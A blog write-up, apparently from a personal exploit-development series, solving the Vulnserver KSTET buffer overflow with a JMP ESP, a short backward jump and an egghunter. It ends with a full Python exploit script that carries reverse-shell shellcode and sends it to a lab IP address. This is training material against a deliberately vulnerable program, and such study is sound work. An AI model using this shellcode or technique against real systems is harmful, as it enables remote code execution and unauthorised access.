Exploit Development – Vulnserver KSTET – Egghunter 2

Hello everyone,

This post is an alternative way to crack Vulnserver using KSTET command. To understand what I’m going to show in you here and how you can exploit this specific method you need to read the last post of the blog. You can find it here:

We were at this point:

crash = "A" * 70 + "B" * 4 + "C" * 19 + "D"
buffer="KSTET " + crash + "\r\n"

So we have 3 parts in our buffer:

  • 70 bytes length before EIP located in EAX
  • EIP overwrite
  • 20 bytes after EIP located in ESP

This time we are going to jump to ESP register. So the first thing that we need to do it’s to find a proper jump. I’m going to use Immunity debugger and the Corelan plugin named Mona to try to find one.

I run this command in Immunity console:

!mona jmp -r esp -d essfunc.dll

And we find several jumps:

We can use the first one:

0x625011AF

Let’s modify our exploit:

crash = "A" * 70 + "\xAF\x11\x50\x62" + "C" * 20

We set a breakpoint before the JMP ESP instruction. We launch the exploit and we reach our breakpoint:

Our egghunter length is 32 bytes, and we only have 20 bytes of space, so we can’t write it here. We need to jump backwards to the other buffer that was 70 bytes long.

To do that we can go to the debugger, we take the jump and we look for the first characters of the big buffer space. That are here:

As you can see I selected the third A character because the other two seems to belong to the previous instruction.

I copy this memory address:

017CF998   41               INC ECX

And I go to the current position of EIP. Here I double click in the instruction to modify it:

And i write the Jump that I want:

And Olly tells me that the opcode that I need is the following one:

So I need to use:

"\xEB\xB6"

Let’s add this information to the code:

crash = "\x20"\x41 * 1 + "A" * 68 + "\xAF\x11\x50\x62" + "\xEB\xB6" + "\xCC" * 18

After doing some small adjustments I verify that our Jump works:

At this point we just need to implement the same that in the previous blog post.

Let’s use the same method to complete the exploit:

# Author: Xavi Bel
# Date: 26/06/2019
# Website: xavibel.com
# Vulnserver KSTET - Method 2
#!/usr/bin/python
import socket
import os
import sys
import time

# Connection
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("172.16.35.131", 9999))
print expl.recv(1024)

# First buffer:
#       EGGx2
#       Shellcode

# Reverse TCP Bind Shell
# Payload size: 351 bytes
shellcode =  ""
shellcode += "\xb8\x41\xdb\x4c\xdd\xdb\xcc\xd9\x74\x24\xf4\x5b\x33"
shellcode += "\xc9\xb1\x52\x31\x43\x12\x83\xeb\xfc\x03\x02\xd5\xae"
shellcode += "\x28\x78\x01\xac\xd3\x80\xd2\xd1\x5a\x65\xe3\xd1\x39"
shellcode += "\xee\x54\xe2\x4a\xa2\x58\x89\x1f\x56\xea\xff\xb7\x59"
shellcode += "\x5b\xb5\xe1\x54\x5c\xe6\xd2\xf7\xde\xf5\x06\xd7\xdf"
shellcode += "\x35\x5b\x16\x27\x2b\x96\x4a\xf0\x27\x05\x7a\x75\x7d"
shellcode += "\x96\xf1\xc5\x93\x9e\xe6\x9e\x92\x8f\xb9\x95\xcc\x0f"
shellcode += "\x38\x79\x65\x06\x22\x9e\x40\xd0\xd9\x54\x3e\xe3\x0b"
shellcode += "\xa5\xbf\x48\x72\x09\x32\x90\xb3\xae\xad\xe7\xcd\xcc"
shellcode += "\x50\xf0\x0a\xae\x8e\x75\x88\x08\x44\x2d\x74\xa8\x89"
shellcode += "\xa8\xff\xa6\x66\xbe\xa7\xaa\x79\x13\xdc\xd7\xf2\x92"
shellcode += "\x32\x5e\x40\xb1\x96\x3a\x12\xd8\x8f\xe6\xf5\xe5\xcf"
shellcode += "\x48\xa9\x43\x84\x65\xbe\xf9\xc7\xe1\x73\x30\xf7\xf1"
shellcode += "\x1b\x43\x84\xc3\x84\xff\x02\x68\x4c\x26\xd5\x8f\x67"
shellcode += "\x9e\x49\x6e\x88\xdf\x40\xb5\xdc\x8f\xfa\x1c\x5d\x44"
shellcode += "\xfa\xa1\x88\xcb\xaa\x0d\x63\xac\x1a\xee\xd3\x44\x70"
shellcode += "\xe1\x0c\x74\x7b\x2b\x25\x1f\x86\xbc\xe6\xf0\xab\xbd"
shellcode += "\x9f\xf2\xab\xbc\xe4\x7a\x4d\xd4\x0a\x2b\xc6\x41\xb2"
shellcode += "\x76\x9c\xf0\x3b\xad\xd9\x33\xb7\x42\x1e\xfd\x30\x2e"
shellcode += "\x0c\x6a\xb1\x65\x6e\x3d\xce\x53\x06\xa1\x5d\x38\xd6"
shellcode += "\xac\x7d\x97\x81\xf9\xb0\xee\x47\x14\xea\x58\x75\xe5"
shellcode += "\x6a\xa2\x3d\x32\x4f\x2d\xbc\xb7\xeb\x09\xae\x01\xf3"
shellcode += "\x15\x9a\xdd\xa2\xc3\x74\x98\x1c\xa2\x2e\x72\xf2\x6c"
shellcode += "\xa6\x03\x38\xaf\xb0\x0b\x15\x59\x5c\xbd\xc0\x1c\x63"
shellcode += "\x72\x85\xa8\x1c\x6e\x35\x56\xf7\x2a\x45\x1d\x55\x1a"
shellcode += "\xce\xf8\x0c\x1e\x93\xfa\xfb\x5d\xaa\x78\x09\x1e\x49"
shellcode += "\x60\x78\x1b\x15\x26\x91\x51\x06\xc3\x95\xc6\x27\xc6"

buffer2  = "GDOG "
buffer2 += "T00WT00W"
#buffer2 += "\xCC" * 105 + "\x44" + "\x45" * 5000
buffer2 += "\x90" * 8
buffer2 += shellcode
buffer2 += "\x90" * 8
buffer2 += "\r\n"

print "[+] Sending exploit part 1!"
expl.send(buffer2)
print expl.recv(1024)

time.sleep(5)

# Egghunter
# 32 bytes length
# EGG W00TW00T
egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x54\x30\x30\x57\x89\xD7\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"

# \x20\x20\x20          - Second jump adjustment
# 625011AF              - JMP ESP stored in vulnserver dll
crash = "\x20\41" + egghunter + "\x90" * 36 + "\xAF\x11\x50\x62" + "\xEB\xB6" + "\x90" * 18


buffer  ="KSTET "
buffer += crash + "\r\n"
print "[+] Sending exploit part 2!"

expl.send(buffer)
expl.close()

https://github.com/socket8088/Vulnserver/blob/master/KSTET/EXP-KSTET-02.py

We run our exploit, and we receive our reverse shell! 🙂

See you soon! I will continue doing Vulnserver write-ups and probably in the future I’m going to rewrite some Exploit-DB exploits.

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